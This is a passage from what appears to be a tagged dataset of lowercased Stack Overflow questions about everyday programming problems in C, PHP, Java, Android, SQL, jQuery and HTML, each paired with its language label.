i d love to hear it.,java
what are the important notions in c that you did not learn from your teachers   in september  i will give my first lectures on c to students in engineering school (usually i teach math and signal processing  but i have also done a lot of practical work in c  without giving the lectures). computer science is not their main topic (they are more studying electronics and signal processing)  but they need to have a good background in programming (some of them will maybe become software developers)    this year will be their second year of learning c (they are supposed to know what a pointer is and how to use it  but of course  this notion is not yet assimilated)    in addition to the classical stuff (data structures  classical algorithms  ...)  i will probably focus some of my lectures on:   <ul> <li>design the algorithm (and write it in pseudo-code) <em>before</em> coding it in c (think before coding)</li> <li>make your code readable (comments  variable names  ...) and</li> <li>pointers  pointers  pointers! (what is it  how and when to use it  memory allocation  etc...)</li> </ul>   <strong>according to your experience  what are the most important notions in c that your teachers never taught you  on which particular point should i focus </strong>    for example  should i introduce them to some tools (<code>lint</code>  ...),c
a small doubt regarding html frames  im designing a static webpage....and itz a sample online bookshoppe webpage... in that i divided the window in to three frames  top left and rite respectively... the top frame consists of the title   the left frame consists of all the categories of books available and the right frame consists of the tabs... home registration catelogue login ... etc and now wen im opening a link for example if i click on registration it is being opened in another window rather than in the same window same frame i.e.  right frame... so anyone plz help me how to do it.. what i need to do is.. if i click on any one of the tabs(links which i have mentioned) it should be opened in the same frame... thanks in advance (:,html
making a png image transparent in older versions of internet explorer  hello people i have a problem with the png formatted images  i used some png images in my mock. when i view the mock in i.e the background of the images are not transparent.    i got one solution for making it trasparent in  i.e  from the previous posts in the forum. but my problem is  i want that image to be tiled horizantlly...using that filter thing.    can any one solve this plz....plz.... i need a solution for making a png in i.e and at the same time it shud be tiled horizontally.,html
why is php fgetcsv function timing out   i have just a basic understanding of php but i managed to write a small plugin for wordpress for a calculator/form i needed for my site that asks the user to input humidity % and temperature and based on that it retrieves a value from a csv and displays a total value for the amount of water the machine can generate.    <img src= https://i.stack.imgur.com/qwnek.png  alt= screen shot of the form >    when i tested it on mamp it was working as i wanted it to  but having shifted it to my wordpress site  the page keeps timing out after 5/10 minutes.     ps: i ve had to use a csv file for to retrieve the coefficient values based on the users input  while it s only 45kb i am not sure what the problem is.    here is the code:   <pre><code>&lt; php /* plugin name: watercalc plugin uri: description: calculates water generation version: 1.0 author: chefattack author uri: */  //wordpress hooks add_shortcode( wcalc    run_bc ); function run_bc() { // if the submit button has been pressed if(isset($_post[ submit ])) { // check number values if(is_numeric($_post[ temperature ]) &amp;&amp;  is_numeric($_post[ humidity ])) {  // calculate total function getvaluefromcsv($csv_name) {   $humidity= $_post[ humidity ];   $temperature= $_post[ temperature ];   $file = fopen($csv_name   r );   while (!feof($file)) {     $arr = fgetcsv($file);     if ($arr[0] == $temperature) {       $coefficient= $arr[$humidity - 4];       if($_post[ models ] ==  pod )       {         $total = round($coefficient * 0.0287801747544059 * 0.03 *60 * 24 *365);       }       if($_post[ models ] ==  36k )       {         $total = round($coefficient * 0.0287801747544059 * 0.1 *60 * 24 *365);       }       if($_post[ models ] ==  55k )       {         $total = round($coefficient * 0.0287801747544059 * 0.15 *60 * 24 *365);       }       if($_post[ models ] ==  110k )       {         $total = round($coefficient * 0.0287801747544059 * 0.25 *60 * 24 *365);       }       if($_post[ models ] ==  180k )       {         $total = round($coefficient * 0.0287801747544059 * 0.5 *60 * 24 *365);       }       if($_post[ models ] ==  365k )       {         $total = round($coefficient * 0.0287801747544059 * 1 *60 * 24 *365);       }        // print total to the browser       echo  &lt;h4&gt; water generation at $humidity% relative humidity and $temperature c&lt;br&gt;per year: ~ {$total} ltrs.&lt;/h4&gt; ;     }   }   fclose($file); } // function calling getvaluefromcsv( akvo-values.csv );  } else {  // print error message to the browser echo  numeric values are required ;  } }   &gt;  &lt;form method= post  action= &lt; php echo get_permalink();  &gt; &gt; &lt;label&gt;temperature (celcius)&lt;/label&gt;&lt;br&gt; &lt;select name= temperature  class= form-control  style= width: 150px;  display: block &gt;     &lt; php for ($i = -20; $i &lt;= 60; $i++) :  &gt;       &lt;option value= &lt; php echo $i;  &gt; &gt;&lt; php echo $i;  &gt;&lt;/option&gt;     &lt; php endfor;  &gt;   &lt;/select&gt;&lt;br&gt; &lt;label&gt;relative humidity (%)&lt;/label&gt;&lt;br&gt; &lt;select name= humidity  class= form-control  style= width: 150px; display: block &gt;     &lt; php for ($i = 5; $i &lt;= 100; $i++) :  &gt;       &lt;option value= &lt; php echo $i;  &gt; &gt;&lt; php echo $i;  &gt;&lt;/option&gt;     &lt; php endfor;  &gt;   &lt;/select&gt;&lt;br&gt; &lt;label&gt;choose akvo model&lt;/label&gt;&lt;br&gt; &lt;select name= models  class= form-control  style= width: 150px; display: block &gt;   &lt;option value= pod &gt;akvo pod&lt;/option&gt;     &lt;option value= 36k &gt;akvo 36k&lt;/option&gt;     &lt;option value= 55k &gt;akvo 55k&lt;/option&gt;     &lt;option value= 110k &gt;akvo 110k&lt;/option&gt;     &lt;option value= 180k &gt;180k&lt;/option&gt;     &lt;option value= 365k &gt;365k&lt;/option&gt; &lt;/select&gt;&lt;br&gt; &lt;input name= submit  type= submit  value= calculate  class= btn btn-primary  /&gt;  &lt;/form&gt;  &lt; php } </code></pre>,php
how to concatenate multiple lines separated by \  i would like to filter lines which start with run and are separated by \  e.g.   <pre><code>run install-repository \      --url http://toolshed.g2.bx.psu.edu/ -o iuc --name gatk2 --panel-section-name gatk2  \      --url http://toolshed.g2.bx.psu.edu/ -o devteam --name suite_samtools_0_1_19 --panel-section-name samtools  \      --url http://toolshed.g2.bx.psu.edu/ -o devteam --name freebayes --panel-section-name freebayes   run ... </code></pre>   at the moment i got   <pre><code>run install-repository \ run install-repository \ ... </code></pre>   with the below code:   <pre><code>import urllib2  def run():      file_url =  https://raw.githubusercontent.com/bgruening/docker-recipes/master/galaxy-exom-seq/dockerfile       data = urllib2.urlopen(file_url)      for line in data:         if line.startswith( run ):             print line.rstrip()  if __name__ ==  __main__ :     run() </code></pre>   what is the best way to do it,python
what am i doing wrong with texttospeech  i have text to speech all set up here (or so i think) but when i go to press the button on my application it just closes and does not speak what i type in  (now i was wondering if this is because i have not set up an onclicklistener event.  the reason why is because i really do know how to set up the onclicklistener event with teh texttospeach  so if that is the reason why my app isnt speaking then can someone direct me to a tutorial in this area that will help.  if its not the reason why  then can someone explain what i am doing wrong    <pre><code>    package com.write.it;      import java.util.hashmap;     import java.util.stringtokenizer;      import android.app.activity;     import android.content.intent;     import android.os.bundle;     import android.speech.tts.texttospeech;     import android.speech.tts.texttospeech.oninitlistener;     import android.speech.tts.texttospeech.onutterancecompletedlistener;       import android.util.log;     import android.view.view;     import android.widget.button;     import android.widget.edittext;      public class speech extends activity implements oninitlistener  onutterancecompletedlistener {     private edittext words = null;     private button speakbtn = null;         private static final int req_tts_status_check = 0;     private static final string tag =  tts demo ;         private texttospeech mtts;          private int uttcount = 0;         private hashmap&lt;string  string&gt; params = new hashmap&lt;string  string&gt;();      /** called when the activity is first created. */         @override         public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.main);          words = (edittext)findviewbyid(r.id.wordstospeak);         speakbtn = (button)findviewbyid(r.id.speak);         // check to be sure that tts exists and is okay to use        intent checkintent = new intent();        checkintent.setaction(texttospeech.engine.action_check_tts_data);        startactivityforresult(checkintent  req_tts_status_check);        }     public void dospeak(view view) {     stringtokenizer st = new stringtokenizer(words.gettext().tostring()   . );     while (st.hasmoretokens()) {         params.put(texttospeech.engine.key_param_utterance_id                  string.valueof(uttcount++));         mtts.speak(st.nexttoken()  texttospeech.queue_add  params);      }    }     protected void onactivityresult(int requestcode  int resultcode  intent data) {        if (requestcode == req_tts_status_check) {         switch (resultcode) {         case texttospeech.engine.check_voice_data_pass:             // tts is up and running             mtts = new texttospeech(this  this);             log.v(tag   pico is installed okay );             break;         case texttospeech.engine.check_voice_data_bad_data:         case texttospeech.engine.check_voice_data_missing_data:         case texttospeech.engine.check_voice_data_missing_volume:             // missing data  install it             log.v(tag   need language stuff:   + resultcode);             intent installintent = new intent();             installintent.setaction(                 texttospeech.engine.action_install_tts_data);             startactivity(installintent);             break;         case texttospeech.engine.check_voice_data_fail:         default:             log.e(tag   got a failure. tts not available );         }     }     else {         // got something else     } }  public void oninit(int status) {     // now that the tts engine is ready  we enable the button     if( status == texttospeech.success) {         speakbtn.setenabled(true);         mtts.setonutterancecompletedlistener(this);     } }  @override public void onpause() {     super.onpause();     // if we re losing focus  stop talking     if( mtts != null)         mtts.stop(); }  @override public void ondestroy() {     super.ondestroy();     mtts.shutdown(); }  public void onutterancecompleted(string uttid) {     log.v(tag   got completed message for uttid:   + uttid);     integer.parseint(uttid); }     } </code></pre>   new code   <pre><code>    package com.write.it;     import java.util.hashmap;    import java.util.stringtokenizer;     import android.app.activity;    import android.content.intent;    import android.os.bundle;    import android.speech.tts.texttospeech;    import android.speech.tts.texttospeech.oninitlistener;    import android.speech.tts.texttospeech.onutterancecompletedlistener;    import android.util.log;    import android.view.view;    import android.widget.button;    import android.widget.edittext;      public class speech extends activity implements oninitlistener  onutterancecompletedlistener { private edittext words = null; private button speakbtn = null;      private static final int req_tts_status_check = 0;   private static final string tag =  tts demo ;      private texttospeech mtts;  private int uttcount = 0; private hashmap&lt;string  string&gt; params = new hashmap&lt;string  string&gt;();  /** called when the activity is first created. */        @override        public void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.main);      words = (edittext)findviewbyid(r.id.wordstospeak);     speakbtn = (button)findviewbyid(r.id.speak);     mtts = new texttospeech(this              this);  // texttospeech.oninitlistener          // check to be sure that tts exists and is okay to use         intent checkintent = new intent();         checkintent.setaction(texttospeech.engine.action_check_tts_data);         startactivityforresult(checkintent  req_tts_status_check);       }          public void dospeak(view view) {     stringtokenizer st = new stringtokenizer(words.gettext().tostring()   . );     while (st.hasmoretokens()) {         params.put(texttospeech.engine.key_param_utterance_id                  string.valueof(uttcount++));         mtts.speak(st.nexttoken()  texttospeech.queue_add  params);      }     speakbtn.setonclicklistener(new view.onclicklistener() {         public void onclick(view v) {             // /todo auto-generated method stub             dospeak(v);          }      });        }       protected void onactivityresult(int requestcode  int resultcode  intent data) {         if (requestcode == req_tts_status_check) {         switch (resultcode) {         case texttospeech.engine.check_voice_data_pass:             // tts is up and running             mtts = new texttospeech(this  this);             log.v(tag   pico is installed okay );             break;         case texttospeech.engine.check_voice_data_bad_data:         case texttospeech.engine.check_voice_data_missing_data:         case texttospeech.engine.check_voice_data_missing_volume:             // missing data  install it             log.v(tag   need language stuff:   + resultcode);             intent installintent = new intent();             installintent.setaction(                 texttospeech.engine.action_install_tts_data);             startactivity(installintent);             break;         case texttospeech.engine.check_voice_data_fail:         default:             log.e(tag   got a failure. tts not available );         }     }     else {         // got something else       }       }       public void oninit(int status) {     // now that the tts engine is ready  we enable the button     if( status == texttospeech.success) {         mtts.setonutterancecompletedlistener(this);     }    }     @override    public void onpause()     {     super.onpause();     // if we re losing focus  stop talking     if( mtts != null)         mtts.stop();    }       @override            public void ondestroy()    {         super.ondestroy();          mtts.shutdown();         }       public void onutterancecompleted(string uttid) {     log.v(tag   got completed message for uttid:   + uttid);     integer.parseint(uttid);      }       } </code></pre>,android
im trying to add two foreign keys on the same table and it doesn t work  i have noticed that when i use <code>i</code> on a column the problems go away but when i click on go  the only errors that comes is a  cannot add foreign key constraint  message.      error messages :    <a href= https://i.stack.imgur.com/clmig.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/clmig.png  alt= error messages  ></a>,sql
c: looping the big array efficiently  i have a master list integer array which has around 500 numbers. and  i have a set of 100 randomized number which has picked from the master list to find the missing numbers. now  i need to go through this randomized number list against the master list. what would be the best approach in c programming to go through it without hanging the program. if i go through in simple  for  loop for 500 elements  it will hang as it needs to go through the entire list. could someone direct me on this     thanks.,c
drop down selection  how to select from drop down menu so that it will display required values in the next drop down menu,jquery
releasing language versions for iphone apps  i have an iphone app ready to release in english  and am adding different languages. is it ok to release the english version first  and then add the language translations  or should they all be done at once,iphone
undefined behaviour of const_cast when we return mutable object from class  i am not sure about const_cast in this case. do we have undefined behaviour or not    <pre><code>#include &lt;iostream&gt; #include &lt;vector&gt;  using namespace std;  struct a {     mutable vector&lt;int&gt; a;     a() : a(1 2) {}     const vector&lt;int&gt;&amp; get() const {         return a;     } };  int main() {     a a;     vector&lt;int&gt; &amp;b = const_cast&lt;vector&lt;int&gt;&amp;&gt;( a.get() );     b[0] = 3;     cout &lt;&lt; a.a[0] &lt;&lt; endl; } </code></pre>,c++
get word pairs from a sentence  is there a way to take the following sentence:     i want this split up into pairs     and generate the following list using java:     i want    want this    this split    split up    up into    into pairs,java
strange behavior of a int variable  i have wrote a c program that calculates the binary number of a decimal number  given in input  but i have a big problem caused by the variable used for keep the number given in input.    this is my code:    <pre><code>int main() {     // variables declaration     int n a i=0;     int vector[i];     float rest;     // acquisition of the input number     printf( enter an integer:... );     scanf( %d  &amp;n);     while(n&gt;0) {         // calculation and comparison of the data acquired to obtain the binary output         rest=n%2;         if (rest!= 0) {             vector[i]=1;         }         else if (rest== 0) {             vector[i]=0;         }         n=n/2;         i++;     }     // representation of the binary value calculated     printf( the binary value of the number entered is:  );     for(a=i-1;a&gt;=0;a--) {         printf( %d  vector[a]);     }       return 0; } </code></pre>   the problem is that if i put a input number greater or equal to 1024  the binary number will be wrong. so with the debug tool  i found that the problem is in the n variable  precisely in the <code>n=n/2</code> instruction.    if you put 1024 as input number  <code>n=n/2</code> works fine until the program reach the 4 value of n  and for that value the <code>n=n/2</code> instruction doesn t work  and gave 0 value to n.     so i m stuck here and i don t know what kind of problem it is.,c
get latest records without matching condtion in mysql  i would like to get latest records even though without matching the conditions in mysql.    in example  i want to select data on 2013-01-20 by group by product type  but it doesn t match this condition  so it will get the latest date of those product type (2013-01-19 or 2013-01-15).   <pre><code>coding:  select date from tblproducttype where  date=(select max(date) from tblproducttype group by type) where date= 2013-01-20    table product type  id  type  date 1   2     2013-01-20 2   2     2013-01-20 3   2     2013-01-14 4   3     2013-01-19 5   4     2013-01-16 6   4     2013-01-13 </code></pre>   result should be the following:   <pre><code>id  type  date 1   2     2013-01-20 2   2     2013-01-20 4   3     2013-01-19 5   4     2013-01-16 </code></pre>   for results  i want to combine the data for 2013-01-20 with the latest data for other products.     finally  we can get only latest date of those product type.    how to do that in mysql     regards.,mysql
app delegate variable returning nil despite being initialised  in the <code>didfinishlaunchingwithoptions</code> method in the app delegate  a string  <code>mystring</code> is initialised with a string retrieved from <code>nsuserdefaults</code> (confirmed with an <code>nslog</code>). i have multiple view controllers in this tab-based project  and all of them are accessing the app delegate variables just fine  apart from one. the only difference between this view controller and the others is that it is a <code>uiviewcontroller</code> as opposed to a <code>uitableviewcontroller</code> (though the latter inherited).    in the <code>uiviewcontroller</code> s initialisation i ve put:   <pre><code>- (id)initwithnibname:(nsstring *)nibnameornil bundle:(nsbundle *)nibbundleornil {     self = [super initwithnibname:nibnameornil bundle:nibbundleornil];     if (self) {         self.appdelegate = (appdelegate *)[[uiapplication sharedapplication] delegate];         if (self.appdelegate.mystring == nil)             nslog(@ nil );         }     return self; } </code></pre>   the strange part: in the <code>initwithnibname</code> method  <code>mystring</code> (and all other variables in the app delegate) is <code>nil</code>. however when i fire this in the <code>viewdidappear</code> method  it isn t <code>nil</code> (and i get the correct string). furthermore it returns <code>nil</code> in the <code>viewdidload</code> method too. so i tried initialising <code>self.appdelegate</code> in <code>viewdidload</code> and then checking the string but it still returns <code>nil</code>.    i ve gone wrong somewhere but can t figure it out.,ios
inserting user sexual orientation on register form  i created a register form and i am allowing users to select their <code>gender</code> and the gender the user is interested in.    what i need help with is connecting the dots. for example if user selects their gender as <code>female</code> and then for gender interested in <code>female</code> is selected  then it should enter the user as <code>gay</code> for the <code>sexuality</code> attribute.    if the user selects their gender as <code>female</code> and they select both <code>male</code> and <code>female</code> for interested in then the user should be saved to the database as <code>bisexual</code> for their sexuality.    register form:   <pre><code>  &lt;div class= field &gt;         &lt;%= f.label  interested in  %&gt;&lt;br /&gt;         &lt;div class= check-gender &gt;           &lt;div class= check check-male  style= margin: 0 &gt;             &lt;input id= user_sexuality_male  name= user[sexuality]  type= checkbox  value= male  class= jqtransformhidden &gt;             &lt;label for= user_sexuality_male &gt;male&lt;/label&gt;           &lt;/div&gt;           &lt;div class= check check-female  style= margin: 0 &gt;             &lt;input id= user_sexuality_female  name= user[sexuality]  type= checkbox  value= female  class= jqtransformhidden &gt;             &lt;label for= user_sexuality_female &gt;female&lt;/label&gt;           &lt;/div&gt;         &lt;/div&gt;       &lt;/div&gt;     &lt;/div&gt; </code></pre>   <img src= https://i.stack.imgur.com/dxjl3.png  alt= enter image description here >,ruby-on-rails
function in c to sum variables  i m trying to use the following code but i m not sure where the issue is  i m trying to make a function that sums 2 variables and call it later on in the program   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;    void func(int sum) {   int a;   int b;   int sum = a+b;   printf( sum is %d   sum); }    int main() {     printf( enter a:\n );     scanf( %d   &amp;a);     printf( enter b\n );     scanf( %d   &amp;b);      return func(sum);  } </code></pre>,c
:after class not working with img tag  i want to add background color overlay effects when hovering on the image.but i have tried few times with css pseudo-class<code>:after</code>  it is just not working  the code as:   <pre><code>&lt;div class= test &gt;   &lt;img src= assets/img/slide1.jpeg  class= overlay  alt=  &gt;    &lt;!-- my image tag --&gt; &lt;/div&gt; </code></pre>   the css:    <pre><code>  .test{   width: 50%;   height: 50%; }  .overlay{   width: 100%;   height: 100%;   position: relative; }  .overlay:after{   content:  test ;   position: absolute;   font-size:3em; } </code></pre>   the <code>.overlay:after</code>content is not showing up  but it is working when i am using <code>:after</code> class on the <code>&lt;p&gt;</code>or <code>&lt;span&gt;</code>tag  and i was intend to adding overlay color effects on my <code>&lt;img&gt;</code>tag as:    <pre><code>/*adding background color on the image tag using :after*/ .overlay:after{   content:    ;   position: absolute;   width: 100%;   height: 100%;   background-color: red;   z-index: 0; } </code></pre>   so my questions are: 1. why the pseudo class <code>:after</code> not working on the img tag but working with the text tag such as <code>&lt;p&gt;</code>or<code>&lt;h1&gt;</code>  2. is there anything wrong with my code on adding red bg color using <code>:after</code>,css
access indexed rows in a python list (similar to matlab cell array)  i have a bunch of different matrices of different size stored on disk. i need to process them in python in a fast way so i loaded every matrix into memory and stored them in a python list. i want to select a subset of these list entries via a vector of row indices (equivalent to selecting cells in a cell array in matlab) is that possible in python     a matlab example would look like this:   <pre><code>alldata = cell(100 1); % this cell array contains my different matrices of variable sizes rowindices = randi(100 10 1);  selecteddata = alldata(rowindices 1); </code></pre>   how can i do the same in python    <pre><code>alldata # in python this is a list of  numpy.ndarray s rowindices = random.sample(range(1  numrows)  batch_size) batch_data = alldata[rowindices] </code></pre>   doesn t work,python
getting title and meta tags from external website using angularjs  i want to extract title and meta tags from a webpage:   <pre><code>&lt;title&gt;a common title&lt;/title&gt; &lt;meta name= keywords  content= sample keyword  /&gt; &lt;meta name= description  content= this is the description  /&gt; </code></pre>   i found <a href= https://stackoverflow.com/questions/3711357/getting-title-and-meta-tags-from-external-website >this question</a> and it s for php.    how do it using angularjs     i ve no idea at all since i m new to angularjs.,angularjs
how to get pass by reference to work in a function properly in c  the function with the pass by value works like it ought to  i believe  as it prints out the value 0 whenever i enter two numbers. however the <code>adderref</code> (pass by reference function) doesn t work. all it prints out is  the pass by reference of c is  and that s it. there is no value or anything. i just wanted to inquire whether there was something wrong with my syntax or something.... okay guys sorry about the question being vague and for my errors. it s my first time asking on stackoverflow and i should have been more mindful. i m aware of my error and why i made it. i got muddled in class when my teacher was altering the code a bit and i copied it down incorrectly/ thanks everyone for your help. yes i was indeed quite dumb .   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  void adderval(int a  int b); void adderref(int *  int *);  int main() {     int a  b  c = 0;     printf( enter two numbers.\n );     scanf( %d %d   &amp;a  &amp;b);     adderval(a  b);     printf( the pass by value of c is %d \n   c);     adderref(&amp;a  &amp;b);     printf( the pass by reference of c is \n   c );     return 0; }  void adderref(int *a  int *b ) {     int c;     c = *a + *b; }  void adderval(int a  int b ) {     int c;     c = a + b; } </code></pre>,c
mysql variable length decimal  i want to support 8.0  8.22 8.333 ect using a decimal. what is the best way to accomplish this,mysql
iphone language setting  i am junior in iphone game development. i am using cocos2d for this game i am currently building. i have completed the game however my client wants to have 1 more version of this game  all the functionality is the same except the language. he wants the game will be switched to the french version if the iphone language is set to french. i just need to replace the buttons  the text inside the game with french. but i am not quite sure about the language setting in iphone  how can i switch the whole thing into a different version accordingly to the language setting  anyone knows where i can start  please give me a hand  i really appreciate any helps.    thanks a lot    <hr>   here is my code. could you should me how to localize to these codes   <pre><code>[menuitemfont setfontsize:16];     [menuitemfont setfontname:@ helvetica ];      menuitem *backtomenu = [menuitemimage itemfromnormalimage:@ back_to_mainmenu.png  selectedimage:@ back_to_mainmenu_push.png  target: self selector:@selector(backtomenuscene:)];      menuitem *playagain = [menuitemimage itemfromnormalimage:@ eplay_again.png  selectedimage:@ eplay_again_push.png  target:self selector:@selector(playagaingame:)];      menuitem *uploadonfacebook = [menuitemimage itemfromnormalimage:@ eupload_on_facebook.png  selectedimage:@ eupload_on_facebook_push.png  target:self  selector:@selector(uploadonfacebookfunction:)];      menu *menu = [menu menuwithitems:backtomenu  playagain  uploadonfacebook nil];     menu.position = cgpointzero;      backtomenu.position = ccp (400 40);     playagain.position = ccp (240 40);     uploadonfacebook.position = ccp (80 40);      [self addchild:menu z:1];    </code></pre>,objective-c
typecasting with shorthand operators <pre><code>byte b=12;  b &gt;&gt;= 2; // why is this legal  why does it automatically typecasts   b = b &gt;&gt; 2; // why is this illegal if the above is legal </code></pre>,java
calculator in php only (no client side scripting)  i have calculator buttons type submit...i got the values and displaying in on the same page...but unable to add the addition functionality to the two numbers. here is my code dont know what to do next..two numbers from user and displaying the result only.   <pre><code>    &lt;form action= &lt; php echo $_server[ php_self ]; &gt;  method= post &gt;         &lt;input type= submit  value= 0  name= zero &gt;         &lt;input type= submit  value= 1  name= one &gt;      &lt;/form&gt;  &lt; php     if (isset($_post[ zero ]))    {         $a = $_post[ zero ];         echo $a;    }    if (isset($_post[ one ]))    {         echo $_post[ one ];    }  &gt; </code></pre>,php
monitor outgoing sms  hi can anyone tell me is there a way to monitor outgoing sms... i want to create an app which will monitor outgoing sms and block texting in a particular region or when user is driving... can anyone tell me how it is possible,android
c programming begginner issue  ok so i m trying to build a basic program to calculate the price of a pizza order.  i want it to ask if the customer is done ordering.  if they enter y then i want the loop to continue  if any other character entered i want it to stop.  when i enter any character the program just continuously prints out all my printf statements.  i am using codeblocks.  here is my code. i get 2 warnings.     <pre class= lang-none prettyprint-override ><code>warning: initialization makes integer from pointer without a cast [enabled by default] at line 17 where i declare the keepgoing variable.  warning: comparison between pointer and integer [enabled by default]| </code></pre>   at line 19 where the while loop starts.     <pre class= lang-c prettyprint-override ><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  main() { #define largepizzaprice #define smallpizzaprice #define largepizzatopping #define smallpizzatopping #define drink  int numberoflargepizzas; int numberofsmallpizzas; int numberoflargetoppings; int numberofsmalltoppings; int numberofdrinks; int keepgoing =  y ;  while (keepgoing ==  y ) {     printf( how many large pizza s do you want\n );     scanf(  %d   &amp;numberoflargepizzas);      printf( how many large toppings do you want\n );     scanf(  %d   &amp;numberoflargetoppings);      printf( how many small pizza s do you want\n );     scanf(  %d   &amp;numberofsmallpizzas);      printf( how many small toppings do you want\n );     scanf(  %d   &amp;numberofsmalltoppings);      printf( would you like to order more.  enter a y or n\n );     scanf(  %i   &amp;keepgoing); }    }` </code></pre>   *****update***** ok thanks for all the help  it s running good now.  if somebody can look at it and give any tips to tighten it up or do what i m doing easier  please let me know.  this is learning experience for me and i m doing it through trial and error.  the program runs but i have a feeling i m structuring it wrong.  here s what i have:   <pre class= lang-c prettyprint-override ><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  main() { #define largepizzaprice 12 #define smallpizzaprice 10 #define largepizzatopping 2 #define smallpizzatopping 1.50 #define drink  1.50 #define taxrate .05 int numberoflargepizzas; int numberofsmallpizzas; int numberoflargetoppings; int numberofsmalltoppings; int numberofdrinks; char keepgoing = y ; float largepizzatotal; float smallpizzatotal; float drinktotal;  while (keepgoing ==  y ) {         printf( how many large pizza s do you want\n );         scanf(  %d   &amp;numberoflargepizzas);      if(numberoflargepizzas != 0){         printf( how many large toppings do you want\n );         scanf(  %d   &amp;numberoflargetoppings);         }          printf( how many small pizza s do you want\n );         scanf(  %d   &amp;numberofsmallpizzas);     if(numberofsmallpizzas !=0){         printf( how many small toppings do you want\n );         scanf(  %d   &amp;numberofsmalltoppings);         }          printf( how many drinks would you like\n );         scanf(  %int   &amp;numberofdrinks);         printf( would you like to order more.  enter a y or n\n );         scanf(  %c   &amp;keepgoing);  } largepizzatotal = (largepizzaprice*numberoflargepizzas)+(largepizzatopping*numberoflargetoppings); smallpizzatotal=(smallpizzaprice*numberofsmallpizzas)+(smallpizzatopping*numberofsmalltoppings); drinktotal = drink*numberofdrinks;      printf( subtotal: %2f   largepizzatotal + smallpizzatotal + drinktotal); </code></pre>   },c
what s the best way to implement a back button on the navigation bar of an iphone app  fairly new to the coding community and took over an app from my developer. i want to implement a back button on the navigation bar of one of the views in my app. if you guys could point me in the right direction  that d be greatly appreciated.    thanks very much!,iphone
using the distinct function in sql  i have a sql query i am running. what i was wanting to know is that is there a way of selecting the rows in a table where the value in on one of those columns is distinct  when i use the distinct function  it returns all of the distinct rows so...   <pre><code>select distinct teacher from class etc. </code></pre>   this works fine  but i am selecting multiple columns  so...   <pre><code>select distinct teacher  student etc. </code></pre>   but i don t want to retrieve the distinct rows  i want the distinct rows where the teacher is distinct. so this query would probably return the same teacher s name multiple times because the student value is different but what i would like is to return rows where the teachers are distinct  even if it means returning the teacher and one student name (because i don t need all the students).    i hope what i am trying to ask is clear but is it possible to use the distinct function on a single column even when selecting multiple columns or is there any other solution to this problem  thanks.   <hr>   the above is just an example i am giving. i don t know if using  distinct  is the solution to my problem. i am not using teacher etc. that was just an example to get the idea accross. i am selecting multiple columns (about 10) from different tables. i have a query to get the tabled result i want. now i want to query that table to find the unique values in one particular column. so using the teacher example again  say i have wrote a query and i have all the teachers and all the pupils they teach. now i want to go through each row in this table and email the teacher a message. but i don t want to email the teacher numerous times  just the once  so i want to return all the columns from the table i have  where only the teacher value is distinct.    col a   col b   col c   col d    a        b        c      d    a        c        d      b    b        a        a      c    b        c        c      c    a query i have produces the above table. now i want only those rows where col a values are unique. how would i go about it,sql
replace the text in html tag with another text  i have the following html code:   <pre><code>&lt;font class= pricecolor colors_productprice &gt;    &lt;span class= pagetext_l483n &gt;     &lt;font class= text colors_text &gt;      &lt;b&gt;&lt;span class= pagetext_l335n &gt;our price&lt;/span&gt;: &lt;/b&gt;     &lt;/font&gt;$101.82amber    &lt;/span&gt; &lt;/font&gt; </code></pre>   i want to change 101.82 in the above html code to the value from the following span tag.   <pre><code>&lt;span class= csqft_price &gt;96.96&lt;/span&gt; </code></pre>   that is 101.82 should be replaced by 96.96 dynamically using jquery.that is any value in span tag having  <code>class= csqft_price </code> sholud be replaced in the above font tag where the value is 101.82    please advise.,jquery
question about sql syntax  anyone whats wrong with this  why outputs a syntax error    <blockquote>    welcome to the mysql monitor.    commands end with ; or \g. your mysql   connection id is 169 server version:   5.0.51a-3ubuntu5.7 (ubuntu)        type  help;  or  \h  for help. type    \c  to clear the buffer.        mysql> grant all privileges on <em>.</em> to    root @ localhost        -> ; query ok  0 rows affected (0.14 sec)        mysql> identified by  m  with grant   option; error 1064 (42000): you have   an error in your sql syntax; check the   manual that corresponds to your mysql   server version for the right syntax to   use near  identified by  new_password  with grant   option  at line 1 mysql>  </blockquote>   regards    javi,mysql
jquery drap and drop on image map area  i am using jquery drag and drop function. now i want to drop image map area only. if cursor is drop outside of image map  the draggable area should be return false. anybody help me please.    following is my coding             $j(function () {   <pre><code>        $j( #draggable ).draggable({              revert: function (dropped) {                 var $jdraggable = $j(this)               hasbeendroppedbefore = $jdraggable.data( hasbeendropped )              wasjustdropped = dropped &amp;&amp; dropped[0].id ==  treearea ;                  alert(wasjustdropped);                 if (wasjustdropped) {                     //centering with css                     centerpopup();                     //load popup                     loadsharepopup();                     return false;                 } else {                     if (hasbeendroppedbefore) {                          return true;                      } else {                          return true;                     }                 }             }         });           $j( img#tree ).droppable({             activeclass:  ui-state-hover               hoverclass:  ui-state-active               drop: function (event  ui) {                 //var stoppos = $j(this).position();                 //alert( stop: \nleft:  + stoppos.left +  \ntop:   + stoppos.top);                var newposx = ui.offset.left - $j(this).offset().left;                var newposy = ui.offset.top - $j(this).offset().top;               //  alert($j(this).offset().left);               $j( #txtposx ).val(newposx);               $j( #txtposy ).val(newposy);                 //alert( stop: \nleft:  + newposx +  \ntop:   + newposy);               $j(this).addclass( ui-state-highlight ).find( p ).html( dropped! );               $j(ui.draggable).data( hasbeendropped   true);             }         });      }); </code></pre>,jquery
